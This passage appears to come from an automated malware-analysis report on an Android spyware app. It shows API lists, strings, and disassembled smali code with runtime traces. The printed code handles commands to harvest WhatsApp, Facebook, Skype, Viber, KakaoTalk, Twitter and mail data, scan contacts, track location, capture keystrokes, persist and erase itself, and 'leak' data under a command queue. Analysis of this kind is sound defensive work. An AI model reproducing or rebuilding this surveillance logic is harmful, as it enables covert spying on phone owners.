      • com.network.android.SmsReceiver.c:Landroid/os/Handler
      • java.lang.String.equals
      • android.content.Context.getContentResolver
      • com.network.android.SmsReceiver.c:Landroid/os/Handler
      • java.lang.String.equals
      • android.content.Context.getContentResolver
      • com.network.android.SmsReceiver.c:Landroid/os/Handler
      • java.lang.String.equals
      • android.content.Context.getContentResolver
      • com.network.android.SmsReceiver.c:Landroid/os/Handler
      • java.lang.String.equals
      • android.content.Context.getContentResolver
      • com.network.media.CoreReceiver.f:Landroid/os/Handler
      • java.lang.String.equals
      • android.content.Context.getContentResolver
      • com.network.media.CoreReceiver.f:Landroid/os/Handler
      • java.lang.String.equals
      • com.network.android.SmsReceiver.c:Landroid/os/Handler
      • java.lang.String.equals
      • com.network.android.SmsReceiver.c:Landroid/os/Handler
      • java.lang.String.equals
      • java.lang.StringBuilder.<init>
      • java.util.Date.<init>
      • java.util.Date.toGMTString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.equals
      • java.lang.String.equals
      • android.content.Intent.getIntExtra
      • android.content.Intent.getStringExtra
      • com.network.media.CoreReceiver.c:Ljava/lang/String
      • java.lang.String.equals
      • com.network.media.CoreReceiver.d:Ljava/lang/String
      • java.lang.String.equals
      • java.lang.String.equals
      • com.network.android.SmsReceiver.c:Landroid/os/Handler
      • java.lang.String.equals
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.System.currentTimeMillis
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.exists
      Strings
      • wake up
      • CoreReceiver WAKE_UP:
      • CoreReceiver WAKE_UP: Jul 27, 2022 5:49:53 AM
      • CoreReceiver WAKE_UP: Jul 27, 2022 5:50:10 AM
      • CoreReceiver WAKE_UP: Jul 27, 2022 5:50:30 AM
      • CoreReceiver WAKE_UP: Jul 27, 2022 5:51:30 AM
      • CoreReceiver WAKE_UP: Jul 27, 2022 5:52:30 AM
      • dontKill -
      • CoreReceiver -
      • whatsUp
      • CoreReceiver WHATS_APP
      • twitter
      • CoreReceiver TWITTER
      • facebook
      • CoreReceiver FACEBOOK
      • kakao
      • CoreReceiver KAKAO
      • viber
      • CoreReceiver VIBER
      • skype
      • CoreReceiver SKYPE
      • GMail
      • CoreReceiver General Mail
      • mail
      • CoreReceiver Email type
      • Contact Scan
      • CoreReceiver CONTACT_SCAN luchSchedualQueue:
      • finishLocationMonitor
      • RemoveHistory
      • timeToStop
      • URL For Remove
      • toRemove
      • keyboard
      • restart
      • CoreReceiver USSD RESTART check is sScreenOn:
      • CoreReceiver USSD RESTART check USSD_IDEL_TO_RESTART_SEC: 600 , minutes: 10
      • CoreReceiver USSD RESTART check diff (seconds):
      • , minutes:
      • CoreReceiver USSD RESTART call for restart
      • /system/csk
      • changeSettings remove auto update
      • reboot
      • CoreReceiver USSD will NOT be RESTARTED now
      Position Instruction Meta Information
      0try_start_0:
      1const-string v0, "wake up"
      3invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      4move-result v0
      5if-eqz v0, :cond_6a
      6new-instance v0, Ljava/lang/StringBuilder;
      8const-string v1, "CoreReceiver WAKE_UP: "
      10invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      11new-instance v1, Ljava/util/Date;
      13invoke-direct {v1}, Ljava/util/Date;-><init>()V
      15invoke-virtual {v1}, Ljava/util/Date;->toLocaleString()Ljava/lang/String;
      16move-result-object v1
      18invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      19move-result-object v0
      21invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      22move-result-object v0
      24invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079534
        • p0: CoreReceiver WAKE_UP: Jul 27, 2022 5:49:53 AM
      • Time: 1096779
        • p0: CoreReceiver WAKE_UP: Jul 27, 2022 5:50:10 AM
      • Time: 1116451
        • p0: CoreReceiver WAKE_UP: Jul 27, 2022 5:50:30 AM
      • Time: 1176453
        • p0: CoreReceiver WAKE_UP: Jul 27, 2022 5:51:30 AM
      • Time: 1236456
        • p0: CoreReceiver WAKE_UP: Jul 27, 2022 5:52:30 AM
      25try_start_23: new-instance v0, Landroid/content/ComponentName;
      26const-class v1, Lcom/network/media/CoreReceiver;
      28invoke-direct {v0, p0, v1}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
      30invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
      31move-result-object v1
      32const/4 v2, 0x1
      33const/4 v3, 0x1
      35invoke-virtual {v1, v0, v2, v3}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
      • Time: 1079543
        • This:
          • android.app.ApplicationPackageManager@3f05acc
        • p0: 1
        • p1: 1
        • Return:
          • ComponentInfo{com.network.android/com.network.media.CoreReceiver}
      36try_end_33:
      37invoke-static {p0}, Lcom/network/android/agent/NetworkApp;->a(Landroid/content/Context;)V
      39invoke-static {p0}, Lcom/network/android/monitor/observer/i;->a(Landroid/content/Context;)V
      40goto_39: return-void
      41catch_3a: move-exception v0
      42new-instance v1, Ljava/lang/StringBuilder;
      44const-string v2, "dontKill - "
      46invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      48invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      49move-result-object v2
      51invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      52move-result-object v1
      54invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      55move-result-object v1
      57invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      58try_end_51: goto/16 :goto_33
      59catch_52: move-exception v0
      60new-instance v1, Ljava/lang/StringBuilder;
      62const-string v2, "CoreReceiver - "
      64invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      66invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      67move-result-object v2
      69invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      70move-result-object v1
      72invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      73move-result-object v1
      75invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      76goto/16 :goto_39
      77cond_6a:
      78const-string v0, "whatsUp"
      80invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      81move-result v0
      82if-eqz v0, :cond_81
      84const-string v0, "CoreReceiver WHATS_APP"
      86invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      88invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
      90sget-object v0, Lcom/network/android/SmsReceiver;->c:Landroid/os/Handler;
      91const/4 v1, 0x0
      93invoke-static {v0, p0, v1}, Lcom/network/android/m;->a(Landroid/os/Handler;Landroid/content/Context;Z)V
      94goto/16 :goto_39
      95cond_81:
      96const-string v0, "twitter"
      98invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      99move-result v0
      100if-eqz v0, :cond_98
      102const-string v0, "CoreReceiver TWITTER"
      104invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      106invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
      108sget-object v0, Lcom/network/android/SmsReceiver;->c:Landroid/os/Handler;
      109const/4 v1, 0x0
      111invoke-static {v0, p0, v1}, Lcom/network/android/d/g;->a(Landroid/os/Handler;Landroid/content/Context;Z)V
      112goto/16 :goto_39
      113cond_98:
      114const-string v0, "facebook"
      116invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      117move-result v0
      118if-eqz v0, :cond_af
      120const-string v0, "CoreReceiver FACEBOOK"
      122invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      124invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
      126sget-object v0, Lcom/network/android/SmsReceiver;->c:Landroid/os/Handler;
      127const/4 v1, 0x0
      129invoke-static {v0, p0, v1}, Lcom/network/android/d/a;->a(Landroid/os/Handler;Landroid/content/Context;Z)V
      130goto/16 :goto_39
      131cond_af:
      132const-string v0, "kakao"
      134invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      135move-result v0
      136if-eqz v0, :cond_c7
      138const-string v0, "CoreReceiver KAKAO"
      140invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      142invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
      144sget-object v0, Lcom/network/android/SmsReceiver;->c:Landroid/os/Handler;
      145const/4 v1, 0x0
      147invoke-static {v0, p0, v1}, Lcom/network/android/d/c;->a(Landroid/os/Handler;Landroid/content/Context;Z)V
      148goto/16 :goto_39
      149cond_c7:
      150const-string v0, "viber"
      152invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      153move-result v0
      154if-eqz v0, :cond_df
      156const-string v0, "CoreReceiver VIBER"
      158invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      160invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
      162sget-object v0, Lcom/network/media/CoreReceiver;->f:Landroid/os/Handler;
      163const/4 v1, 0x0
      165invoke-static {v0, p0, v1}, Lcom/network/android/d/i;->a(Landroid/os/Handler;Landroid/content/Context;Z)V
      166goto/16 :goto_39
      167cond_df:
      168const-string v0, "skype"
      170invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      171move-result v0
      172if-eqz v0, :cond_f7
      174const-string v0, "CoreReceiver SKYPE"
      176invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      178invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
      180sget-object v0, Lcom/network/media/CoreReceiver;->f:Landroid/os/Handler;
      181const/4 v1, 0x0
      183invoke-static {v0, p0, v1}, Lcom/network/android/d/e;->a(Landroid/os/Handler;Landroid/content/Context;Z)V
      184goto/16 :goto_39
      185cond_f7:
      186const-string v0, "GMail"
      188invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      189move-result v0
      190if-eqz v0, :cond_10d
      192const-string v0, "CoreReceiver General Mail"
      194invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      196sget-object v0, Lcom/network/android/SmsReceiver;->c:Landroid/os/Handler;
      197const/4 v1, 0x0
      198const/4 v2, 0x1
      200invoke-static {p0, v0, v1, v2}, Lcom/network/android/r;->a(Landroid/content/Context;Landroid/os/Handler;ZI)V
      201goto/16 :goto_39
      202cond_10d:
      203const-string v0, "mail"
      205invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      206move-result v0
      207if-eqz v0, :cond_123
      209const-string v0, "CoreReceiver Email type"
      211invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      213sget-object v0, Lcom/network/android/SmsReceiver;->c:Landroid/os/Handler;
      214const/4 v1, 0x0
      215const/4 v2, 0x0
      217invoke-static {p0, v0, v1, v2}, Lcom/network/android/r;->a(Landroid/content/Context;Landroid/os/Handler;ZI)V
      218goto/16 :goto_39
      219cond_123:
      220const-string v0, "Contact Scan"
      222invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      223move-result v0
      224if-eqz v0, :cond_14b
      225new-instance v0, Ljava/lang/StringBuilder;
      227const-string v1, "CoreReceiver CONTACT_SCAN luchSchedualQueue: "
      229invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      230new-instance v1, Ljava/util/Date;
      232invoke-direct {v1}, Ljava/util/Date;-><init>()V
      234invoke-virtual {v1}, Ljava/util/Date;->toGMTString()Ljava/lang/String;
      235move-result-object v1
      237invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      238move-result-object v0
      240invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      241move-result-object v0
      243invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      245invoke-static {p0}, Lcom/network/android/monitor/observer/i;->b(Landroid/content/Context;)V
      246goto/16 :goto_39
      247cond_14b:
      248const-string v0, "finishLocationMonitor"
      250invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      251move-result v0
      252if-eqz v0, :cond_158
      254invoke-static {p0}, Lcom/network/android/a/c;->c(Landroid/content/Context;)V
      255goto/16 :goto_39
      256cond_158:
      257const-string v0, "RemoveHistory"
      259invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      260move-result v0
      261if-eqz v0, :cond_175
      263const-string v0, "timeToStop"
      264const v1, 0x927c0
      266invoke-virtual {p1, v0, v1}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
      267move-result v0
      269const-string v1, "toRemove"
      271invoke-virtual {p1, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
      • Time: 1104434
        • This:
          • Intent { act=RemoveHistory dat=TO_REMOVE:30000 flg=0x14 cmp=com.network.android/com.network.media.CoreReceiver (has extras) }
        • p0: toRemove
        • Return:
          • URL For Remove
      272move-result-object v1
      273const/4 v2, 0x0
      275invoke-static {v1, p0, v0, v2}, Lcom/network/h/b;->a(Ljava/lang/String;Landroid/content/Context;IZ)V
      276goto/16 :goto_39
      277cond_175:
      278sget-object v0, Lcom/network/media/CoreReceiver;->c:Ljava/lang/String;
      280invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      281move-result v0
      282if-eqz v0, :cond_182
      284invoke-static {}, Lcom/network/h/j;->c()V
      285goto/16 :goto_39
      286cond_182:
      287sget-object v0, Lcom/network/media/CoreReceiver;->d:Ljava/lang/String;
      289invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      290move-result v0
      291if-eqz v0, :cond_192
      292const/4 v0, 0x0
      293const/4 v1, 0x1
      294const/4 v2, 0x1
      296invoke-static {v0, p0, v1, v2}, Lcom/network/h/j;->a(ZLandroid/content/Context;ZZ)V
      297goto/16 :goto_39
      298cond_192:
      299const-string v0, "keyboard"
      301invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      302move-result v0
      303if-eqz v0, :cond_1a1
      305sget-object v0, Lcom/network/android/SmsReceiver;->c:Landroid/os/Handler;
      307invoke-static {v0, p0}, Lcom/network/d/a;->a(Landroid/os/Handler;Landroid/content/Context;)V
      308goto/16 :goto_39
      309cond_1a1:
      310const-string v0, "restart"
      312invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      313move-result v0
      314if-eqz v0, :cond_39
      315new-instance v0, Ljava/lang/StringBuilder;
      317const-string v1, "CoreReceiver USSD RESTART check is sScreenOn: "
      319invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      320sget-boolean v1, Lcom/network/android/roomTap/k;->d:Z
      322invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      323move-result-object v0
      325invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      326move-result-object v0
      328invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      329sget-boolean v0, Lcom/network/android/roomTap/k;->d:Z
      330if-nez v0, :cond_39
      332invoke-static {}, Lcom/network/android/roomTap/k;->c()J
      333move-result-wide v0
      335invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
      336move-result-wide v2
      337const-wide/16 v4, 0x3e8
      338div-long/2addr v2, v4
      339sub-long v0, v2, v0
      341const-string v2, "CoreReceiver USSD RESTART check USSD_IDEL_TO_RESTART_SEC: 600 , minutes: 10"
      343invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      344new-instance v2, Ljava/lang/StringBuilder;
      346const-string v3, "CoreReceiver USSD RESTART check diff (seconds): "
      348invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      350invoke-virtual {v2, v0, v1}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
      351move-result-object v2
      353const-string v3, " , minutes: "
      355invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      356move-result-object v2
      357const-wide/16 v3, 0x3c
      358div-long v3, v0, v3
      360invoke-virtual {v2, v3, v4}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
      361move-result-object v2
      363invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      364move-result-object v2
      366invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      367const-wide/16 v2, 0x258
      368cmp-long v0, v0, v2
      369if-lez v0, :cond_217
      371const-string v0, "CoreReceiver USSD RESTART call for restart"
      373invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      374new-instance v0, Ljava/io/File;
      376const-string v1, "/system/csk"
      378invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      380invoke-virtual {v0}, Ljava/io/File;->exists()Z
      381move-result v0
      382if-eqz v0, :cond_39
      384const-string v0, "changeSettings remove auto update"
      386invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      388const-string v0, "reboot"
      390invoke-static {v0}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      391goto/16 :goto_39
      392cond_217:
      393const-string v0, "CoreReceiver USSD will NOT be RESTARTED now"
      395invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      396try_end_21c: goto/16 :goto_39
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.util.Vector.size
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Vector.size
      • java.util.Vector.isEmpty
      • java.util.Vector.firstElement
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Vector.remove
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.Context.getSystemService
      • android.content.ComponentName.<init>
      • android.content.Context.getPackageManager
      • android.content.pm.PackageManager.setComponentEnabledSetting
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • com.network.android.roomTap.AutoAnswerReceiver.g
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • iterateOnCommandQueue command queue is null. returning
      • iterateOnCommandQueue queue size:
      • iterateOnCommandQueue command queue is empty. returning
      • iterateOnCommandQueue performing commandid:
      • performCommand cmdId:
      • performCommand msg:
      • performCommand not performing command. we are on Upgrade state
      • iterateOnCommandQueue outer exception\n-
      • performCommand not performing command. we are on remove application state
      • performCommand exception\n-
      • iterateOnCommandQueue exception-
      • phone
      • performCommand not performing command. we are roaming and according to the settings, we are not allowed to run commands or leak
      • performCommand not performing command. we got fetch command, but it is not upon installtion, so it will not be performed
      • Mo dontKill
      • KILL
      • Mo dontKill -
      • httpPing SMS_LOC_MON
      • httpPing
      • performCommand got SMS_SET
      • performCommand got SMS_COMMAND_FETCH
      • performCommand SMS_COMMAND_FETCH can\'t find fetch commands ip in server list. replacing server list
      • performCommand got SMS_TAP
      • httpPingTap
      • performCommand GOT_TAP_SMS_CALL_NOT_YET_ARRIVED setting it to true
      • performCommand BlackScreen opening tap screen
      • performCommand setting isSmsTap = false
      • performCommand exception. setting isSmsTap = false
      • performCommand SMS_TAP exception\n-
      • performCommand GOT_TAP_SMS_CALL_NOT_YET_ARRIVED setting it to false
      • performCommand Tap Window Forbidden
      Position Instruction Meta Information
      0const/16 v10, 0x39
      1const/16 v9, 0x30
      3sget-object v1, Lcom/network/android/a/b;->b:Ljava/lang/Object;
      4monitor-enter v1
      5try_start_7:
      6sget-object v0, Lcom/network/android/a/b;->a:Ljava/util/Vector;
      7if-nez v0, :cond_12
      9const-string v0, "iterateOnCommandQueue command queue is null. returning"
      11invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1074204
        • p0: iterateOnCommandQueue command queue is null. returning
      12monitor-exit v1
      13goto_11: return-void
      14cond_12: new-instance v0, Ljava/lang/StringBuilder;
      16const-string v2, "iterateOnCommandQueue queue size: "
      18invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      20sget-object v2, Lcom/network/android/a/b;->a:Ljava/util/Vector;
      22invoke-virtual {v2}, Ljava/util/Vector;->size()I
      23move-result v2
      25invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      26move-result-object v0
      28invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      29move-result-object v0
      31invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      33sget-object v0, Lcom/network/android/a/b;->a:Ljava/util/Vector;
      35invoke-virtual {v0}, Ljava/util/Vector;->size()I
      36move-result v0
      37if-gtz v0, :cond_3c
      39const-string v0, "iterateOnCommandQueue command queue is empty. returning"
      41invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      42monitor-exit v1
      43try_end_38: goto/16 :goto_11
      44catchall_39: move-exception v0
      45monitor-exit v1
      46throw v0
      47try_start_3c:
      48sget-object v0, Lcom/network/android/a/b;->a:Ljava/util/Vector;
      50invoke-virtual {v0}, Ljava/util/Vector;->isEmpty()Z
      51try_end_41: move-result v0
      52if-nez v0, :cond_b7
      53try_start_44:
      54sget-object v0, Lcom/network/android/a/b;->a:Ljava/util/Vector;
      56invoke-virtual {v0}, Ljava/util/Vector;->firstElement()Ljava/lang/Object;
      57move-result-object v0
      58check-cast v0, Lcom/network/android/a/a;
      59new-instance v2, Ljava/lang/StringBuilder;
      61const-string v3, "iterateOnCommandQueue performing commandid: "
      63invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      64iget-char v3, v0, Lcom/network/android/a/a;->f:C
      66invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
      67move-result-object v2
      69invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      70move-result-object v2
      72invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      73iget-char v2, v0, Lcom/network/android/a/a;->f:C
      75iget-object v3, v0, Lcom/network/android/a/a;->b:Ljava/lang/String;
      76iget-boolean v4, v0, Lcom/network/android/a/a;->i:Z
      78iget-object v5, v0, Lcom/network/android/a/a;->h:Ljava/lang/String;
      79try_start_68: new-instance v0, Ljava/lang/StringBuilder;
      81const-string v6, "performCommand cmdId: "
      83invoke-direct {v0, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      85invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
      86move-result-object v0
      88invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      89move-result-object v0
      91invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      92new-instance v0, Ljava/lang/StringBuilder;
      94const-string v6, "performCommand msg: "
      96invoke-direct {v0, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      98invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      99move-result-object v0
      101invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      102move-result-object v0
      104invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      106invoke-static {}, Lcom/network/h/j;->a()Z
      107move-result v0
      108if-eqz v0, :cond_ba
      109if-eq v2, v9, :cond_ba
      111const-string v0, "performCommand not performing command. we are on Upgrade state"
      113invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      114cond_99:
      115sget-object v0, Lcom/network/android/a/b;->a:Ljava/util/Vector;
      116const/4 v2, 0x0
      118invoke-virtual {v0, v2}, Ljava/util/Vector;->remove(I)Ljava/lang/Object;
      119try_end_9f: goto/16 :goto_3c
      120catch_a0: move-exception v0
      121try_start_a1: new-instance v2, Ljava/lang/StringBuilder;
      123const-string v3, "iterateOnCommandQueue outer exception\n- "
      125invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      127invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      128move-result-object v3
      130invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      131move-result-object v2
      133invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      134move-result-object v2
      136invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      137cond_b7: monitor-exit v1
      138try_end_b8: goto/16 :goto_11
      139cond_ba: sget-boolean v0, Lcom/network/h/b;->a:Z
      140if-eqz v0, :cond_f4
      142const-string v0, "performCommand not performing command. we are on remove application state"
      144invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      145try_end_c3: goto/16 :goto_99
      146catch_c4: move-exception v0
      147try_start_c5: new-instance v2, Ljava/lang/StringBuilder;
      149const-string v3, "performCommand exception\n- "
      151invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      153invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      154move-result-object v3
      156invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      157move-result-object v2
      159invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      160move-result-object v2
      162invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      163try_end_db: goto/16 :goto_99
      164catch_dc: move-exception v0
      165try_start_dd: new-instance v2, Ljava/lang/StringBuilder;
      167const-string v3, "iterateOnCommandQueue exception- "
      169invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      171invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      172move-result-object v3
      174invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      175move-result-object v2
      177invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      178move-result-object v2
      180invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      181try_end_f3: goto/16 :goto_99
      182cond_f4:
      183const-string v0, "phone"
      185invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
      186move-result-object v0
      187check-cast v0, Landroid/telephony/TelephonyManager;
      189invoke-static {v0}, Lcom/network/android/j;->a(Landroid/telephony/TelephonyManager;)Z
      190move-result v0
      191if-eqz v0, :cond_11f
      193invoke-static {}, Lcom/network/b/b;->d()Z
      194move-result v0
      195if-nez v0, :cond_11f
      196if-eq v2, v9, :cond_112
      197if-eq v2, v10, :cond_112
      199const-string v0, "performCommand not performing command. we are roaming and according to the settings, we are not allowed to run commands or leak"
      201invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      202goto/16 :goto_99
      203cond_112: if-ne v2, v10, :cond_11f
      204sget-boolean v0, Lcom/network/h/b;->c:Z
      205if-eqz v0, :cond_11f
      207const-string v0, "performCommand not performing command. we got fetch command, but it is not upon installtion, so it will not be performed"
      209invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      210try_end_11d: goto/16 :goto_99
      211cond_11f:
      212const-string v0, "Mo dontKill"
      214invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      215new-instance v0, Landroid/content/ComponentName;
